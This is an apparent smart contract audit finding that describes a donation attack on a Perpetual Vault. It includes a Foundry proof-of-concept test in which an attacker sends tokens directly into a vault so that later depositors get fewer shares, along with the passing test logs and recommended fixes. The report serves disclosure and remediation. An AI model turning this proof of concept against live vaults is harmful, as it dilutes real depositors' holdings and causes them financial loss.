Summary
The Perpetual Vault contract is vulnerable to a Donation Attack, where an attacker can manipulate the share distribution mechanism by artificially increasing the vault’s total balance before new deposits are made. This results in new depositors receiving fewer shares than expected, effectively diluting their holdings.
Vulnerability Details
The vault’s share minting mechanism is based on the ratio of a user’s deposit to the total vault balance. However, the contract does not account for unexpected inflows (e.g., direct token transfers), which can inflate the vault’s balance before new deposits. This creates an unfair distribution of shares, where an attacker can strategically donate tokens to the vault, reducing the share allocation for future depositors.
Proof of Concept
The following test was conducted to demonstrate the impact of a donation attack:
Setup: Two vaults (vaultA and vaultB) were initialized with identical parameters.
First Deposits: A user (john) deposited into both vaults, establishing an initial share distribution.
Attack Execution:
An attacker donated extra collateral and index tokens directly to vaultA, increasing its balance artificially.
Second Deposits: Another user (alice) deposited the same amount into both vaults.
Observation:
The new shares minted in vaultA (the attacked vault) were significantly lower than in vaultB, proving that the donation had diluted Alice’s share allocation.
Code Setup
address payable vaultA;
address payable vaultB;
function setUp() public {
..........
data = abi.encodeWithSelector(
GmxProxy.initialize.selector,
orderHandler,
liquidationHandler,
adlHandler,
gExchangeRouter,
gmxRouter,
dataStore,
orderVault,
gmxReader,
referralStorage
);
address gmxProxyA = address(
new TransparentUpgradeableProxy(
address(gmxUtilsLogic),
address(proxyAdmin),
data
)
);
payable(gmxProxyA).transfer(1 ether);
data = abi.encodeWithSelector(
PerpetualVault.initialize.selector,
address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336),
keeper,
makeAddr("treasury"),
gmxProxyA,
reader,
1e8,
1e28,
10_000
);
vm.prank(address(this), address(this));
vaultA = payable(
new TransparentUpgradeableProxy(
address(perpetualVault),
address(proxyAdmin),
data
)
);
data = abi.encodeWithSelector(
GmxProxy.initialize.selector,
orderHandler,
liquidationHandler,
adlHandler,
gExchangeRouter,
gmxRouter,
dataStore,
orderVault,
gmxReader,
referralStorage
);
address gmxProxyB = address(
new TransparentUpgradeableProxy(
address(gmxUtilsLogic),
address(proxyAdmin),
data
)
);
payable(gmxProxyB).transfer(1 ether);
data = abi.encodeWithSelector(
PerpetualVault.initialize.selector,
address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336),
keeper,
makeAddr("treasury"),
gmxProxyB,
reader,
1e8,
1e28,
10_000
);
vm.prank(address(this), address(this));
vaultB = payable(
new TransparentUpgradeableProxy(
address(perpetualVault),
address(proxyAdmin),
data
)
);
}
Test Case function
forge test --mp test/PerpetualVault.t.sol --mt test_donationAttack --via-ir --rpc-url arbitrum -vv
function test_donationAttack() external {
IERC20 collateralA = PerpetualVault(vaultA).collateralToken();
IERC20 collateralB = PerpetualVault(vaultB).collateralToken();
uint256 depositAmount = 1e12;
uint256 donationAmount = 1e10;
address john = makeAddr("john");
address alice = makeAddr("alice");
vm.startPrank(john);
deal(address(collateralB), john, depositAmount);
collateralB.approve(vaultB, depositAmount);
uint256 execFeeB = PerpetualVault(vaultB).getExecutionGasLimit(true);
PerpetualVault(vaultB).deposit{value: execFeeB * tx.gasprice}(
depositAmount
);
vm.stopPrank();
vm.startPrank(john);
deal(address(collateralA), john, depositAmount);
collateralA.approve(vaultA, depositAmount);
uint256 execFeeA_John = PerpetualVault(vaultA).getExecutionGasLimit(
true
);
PerpetualVault(vaultA).deposit{value: execFeeA_John * tx.gasprice}(
depositAmount
);
vm.stopPrank();
uint256 sharesBBefore = PerpetualVault(vaultB).totalShares();
uint256 sharesABefore = PerpetualVault(vaultA).totalShares();
address attacker = makeAddr("attacker");
deal(address(collateralA), attacker, donationAmount);
vm.prank(attacker);
collateralA.transfer(vaultA, donationAmount);
IERC20 indexTokenA = IERC20(PerpetualVault(vaultA).indexToken());
deal(address(indexTokenA), attacker, donationAmount);
vm.prank(attacker);
indexTokenA.transfer(vaultA, donationAmount);
vm.startPrank(alice);
deal(address(collateralB), alice, depositAmount);
collateralB.approve(vaultB, depositAmount);
execFeeB = PerpetualVault(vaultB).getExecutionGasLimit(true);
PerpetualVault(vaultB).deposit{value: execFeeB * tx.gasprice}(
depositAmount
);
uint256 sharesB = PerpetualVault(vaultB).totalShares();
vm.stopPrank();
vm.startPrank(alice);
deal(address(collateralA), alice, depositAmount);
collateralA.approve(vaultA, depositAmount);
uint256 execFeeA = PerpetualVault(vaultA).getExecutionGasLimit(true);
PerpetualVault(vaultA).deposit{value: execFeeA * tx.gasprice}(
depositAmount
);
uint256 sharesA = PerpetualVault(vaultA).totalShares();
vm.stopPrank();
console.log(
"VaultB (control) total shares after John's + Alice's deposit: ",
sharesB
);
console.log(
"VaultA (with donation) total shares after John's + Alice's deposit: ",
sharesA
);
console.log("VaultB shares before Alice deposit: ", sharesBBefore);
console.log("VaultA shares before Alice deposit: ", sharesABefore);
uint256 collateralBalanceA = collateralA.balanceOf(vaultA);
uint256 indexBalanceA = IERC20(PerpetualVault(vaultA).indexToken())
.balanceOf(vaultA);
uint256 collateralBalanceB = collateralB.balanceOf(vaultB);
uint256 indexBalanceB = IERC20(PerpetualVault(vaultB).indexToken())
.balanceOf(vaultB);
console.log("VaultA collateral balance: ", collateralBalanceA);
console.log("VaultA index token balance: ", indexBalanceA);
console.log("VaultB collateral balance: ", collateralBalanceB);
console.log("VaultB index token balance: ", indexBalanceB);
uint256 deltaSharesB = sharesB - sharesBBefore;
uint256 deltaSharesA = sharesA - sharesABefore;
console.log("New shares minted in vaultB: ", deltaSharesB);
console.log("New shares minted in vaultA: ", deltaSharesA);
assertGt(deltaSharesB, deltaSharesA);
}
Ran 1 test for test/PerpetualVault.t.sol:PerpetualVaultTest
[PASS] test_donationAttack() (gas: 1801324)
Logs:
VaultB (control) total shares after John's + Alice's deposit: 200000000000000000000
VaultA (with donation) total shares after John's + Alice's deposit: 199009900990099009900
VaultB shares before Alice deposit: 100000000000000000000
VaultA shares before Alice deposit: 100000000000000000000
VaultA collateral balance: 2010000000000
VaultA index token balance: 10000000000
VaultB collateral balance: 2000000000000
VaultB index token balance: 0
New shares minted in vaultB: 100000000000000000000
New shares minted in vaultA: 99009900990099009900
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 23.00ms (5.82ms CPU time)
Impact
Unfair Share Allocation: Future depositors receive significantly fewer shares than expected.
Value Dilution: Depositors unknowingly lose a portion of their ownership in the vault.
Potential Exploit: Attackers could repeatedly perform this attack to reduce the value of new deposits.
Tools Used
Manual Analysis
Recommendations
Track Net Deposits: Use an internal accounting system to track actual deposits and exclude unexpected inflows from share calculations.
Reject External Transfers: Restrict direct token transfers by reverting transactions where the vault receives collateral from an address other than the contract itself.
Normalize Share Calculation: Implement a logic that accounts for unexpected balance increases, ensuring fair share distribution.